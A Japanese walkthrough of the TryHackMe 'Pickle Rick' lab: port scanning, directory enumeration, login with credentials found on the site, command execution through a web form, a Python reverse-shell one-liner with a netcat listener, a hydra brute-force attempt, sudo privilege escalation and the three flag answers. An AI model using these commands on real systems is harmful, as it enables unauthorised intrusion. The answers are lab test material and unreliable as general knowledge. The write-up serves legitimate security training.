【TryHackMe】Pickle Rick：Walkthrough

# 概要

TryHackMe「Pickle Rick」のWalkthroughです。

https://tryhackme.com/r/room/picklerick

# Task1

# **Q1**.*What is the first ingredient that Rick needs?*

`nmap`でポートスキャンを実行します。

```
$ nmap -sC -A -T4 -p- 10.10.103.187
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-03 13:16 EDT
Nmap scan report for 10.10.103.187
Host is up (0.27s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 6b:9c:83:73:53:fe:54:a1:61:6a:a4:9a:8e:7b:c4:77 (RSA)
|   256 ae:25:a2:9a:62:b6:78:64:44:8c:ae:97:9f:63:83:95 (ECDSA)
|_  256 f5:d5:c5:c0:57:83:37:cb:c9:d1:92:07:a6:e7:ef:ae (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Rick is sup4r cool
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1459.56 seconds
```

`22`,`80`番ポートがオープンになっていることが分かりました。

Webページにアクセスします。

![home web.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/2400f806-b083-cb63-d9c6-c44987a79533.png)

HTMLを見ると、ユーザー名を確認できました。
後々使えそうな情報です。

![home html.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/010f9d20-58f6-02dc-a715-f902081473ee.png)

隠しディレクトリを列挙します。

```
$ dirsearch -u http://10.10.103.187
```

`assets`,`login.php`.`robots.txt`の3つのパスが見つかりました。

```
[13:45:09] 301 -  315B  - /assets  ->  http://10.10.103.187/assets/
[13:45:09] 200 -  588B  - /assets/         
[13:45:47] 200 -  455B  - /login.php
[13:46:11] 200 -   17B  - /robots.txt
```

`robots.txt`には謎の文字列がありました。

![robots.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a32d693c-afb5-8ead-a5bc-42bc9fe804ce.png)

`assets`ではディレクトリを参照することができました。

![assets.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/c391f2f5-fe12-c757-8525-46e3395983e3.png)

`login.php`にてログインフォームを発見しました。

![login form.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b7237f0c-f976-eeba-92d5-d3ff385c4aed.png)

先ほどのHTMLで見つけたユーザー名を使用できそうです。
また、先ほど`robots.txt`で発見した文字列を試しにパスワードとして使用するとログインに成功しました。

結果、`Username: R1ckRul3s`,`Password: Wubbalubbadubdub`となりました。

ログイン後、コマンドを実行できそうなフォーム画面が表示されました。

![portal home.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/e081af93-e842-bad9-0b92-d2cc6578f0a7.png)

予想通り、コマンドをフォームから実行することができました。

![current lsla.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/4f5eeb3a-1d92-b5fa-0353-7b80025e6cc9.png)

`Sup3rS3cretPickl3Ingred.txt`という怪しいテキストファイルがあるのでアクセスすると答えが表示されました。

![q1 answer.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/d6ffbbb8-1e2d-c914-9fc9-d56dff06d735.png)

**A**.**mr. meeseek hair**

# **Q2**.*What is the second ingredient in Rick’s potion?*

`/home`ディレクトリを見ると、`rick`というユーザーを発見しました。

![ls home dir.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ce0877bf-52d7-8944-886a-83fe6f1a98f6.png)

`/home/rick`配下に二つ目の答えがありそうです。

![rick home.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f4143d2b-3a44-3bea-3e52-94204a598c99.png)

しかし、このフォームからだと`cat`などのファイル内容を閲覧できるコマンドが実行できません。

![cat not work.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/2f1d8f9e-cfaa-e442-e09a-a427370cdd5f.png)

マシンのシェルを取得する必要がありそうです。

`rick`というユーザーで`ssh`接続できないか試してみます。
パスワード解析を試みると、パスワード認証はサポートされていないと表示されました。

```
$ hydra -f -l rick -P /usr/share/wordlists/rockyou.txt ssh://10.10.103.187 -t 30 
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-03 14:43:08
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 30 tasks per 1 server, overall 30 tasks, 14344399 login tries (l:1/p:14344399), ~478147 tries per task
[DATA] attacking ssh://10.10.103.187:22/
[ERROR] target ssh://10.10.103.187:22/ does not support password authentication (method reply 4).
```

しかし、そのままSSH接続を試みると、権限エラーでログインできません。

```
$ ssh rick@10.10.103.187                
The authenticity of host '10.10.103.187 (10.10.103.187)' can't be established.
ED25519 key fingerprint is SHA256:Om19Y1yYahFdrNDH1Fu+geKmClyrmMDh9OqskW125Mc.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.103.187' (ED25519) to the list of known hosts.
rick@10.10.103.187: Permission denied (publickey).
```

試行錯誤していると、フォームから`python3`を実行できることを発見しました。

![python version.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/3d6bf7cf-08bf-d059-0167-a8f95e6348d4.png)

`python3`でリバースシェルを実行します。
まず、`netcat`でリッスンします。

```
$ nc -lvnp 1234
```

次に、フォームからコードを実行します。

```python
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{IP Address}",{PORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
```

:::note info
リバースシェルコードは下記サイトを参考にしました。
IPアドレスとポートは適宜環境に合わせて編集して下さい。
[Reverse Shell Cheat Sheet](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#python)
:::

シェルを取得できました。

```
$ nc -lvnp 1234                                                                   
listening on [any] 1234 ...
connect to [10.6.55.144] from (UNKNOWN) [10.10.103.187] 52358
$ pwd
pwd
/var/www/html
$ whoami
whoami
www-data
```

目標の2つ目のテキストファイルを閲覧し、答えを取得しました。

```
$ cat /home/rick/'second ingredients'
cat /home/rick/'second ingredients'
1 jerry tear
```

**A**.**1 jerry tear**

# **Q3**.*What is the last and final ingredient?*

`/home`配下のファイルを探索しましたが、3つ目らしきテキストファイルは発見できなかったので最後は`/root`配下にあると推測しました。
ですが、root権限に昇格する必要があります。

`sudo -l`で権限昇格に使えそうなコマンドがあるか確認すると、パスワードなしで全部実行できそうです。

```
$ sudo -l
sudo -l
Matching Defaults entries for www-data on ip-10-10-103-187:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ip-10-10-103-187:
    (ALL) NOPASSWD: ALL
```

:::note info
`sudo -l`での権限昇格について記事を投稿したので併せてご覧ください。

[【ハッキング入門】sudo -lで権限昇格への足掛かりにする](https://qiita.com/kk0128/items/2d39ecacb0fa7a654b94)
:::

`GTFOBins`を参考に、`python3`で権限昇格を試みることにしました。

https://gtfobins.github.io/gtfobins/python/

root権限を取得出来ました。

```
$ sudo python3 -c 'import os; os.system("/bin/sh")'
sudo python3 -c 'import os; os.system("/bin/sh")'
# whoami
whoami
root
```

予想通り、`/root`配下に最後のテキストファイルを発見しました。

```
# ls -la /root
ls -la /root
total 28
drwx------  4 root root 4096 Feb 10  2019 .
drwxr-xr-x 23 root root 4096 Jun  3 17:14 ..
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
-rw-r--r--  1 root root  161 Jan  2 13:39 .profile
drwx------  2 root root 4096 Feb 10  2019 .ssh
-rw-r--r--  1 root root   29 Feb 10  2019 3rd.txt
drwxr-xr-x  4 root root 4096 Apr 12 14:05 snap
```

テキストファイルを閲覧し答えをゲットしました。

```
# cat /root/3rd.txt
cat /root/3rd.txt
3rd ingredients: fleeb juice
```

**A**.**fleeb juice**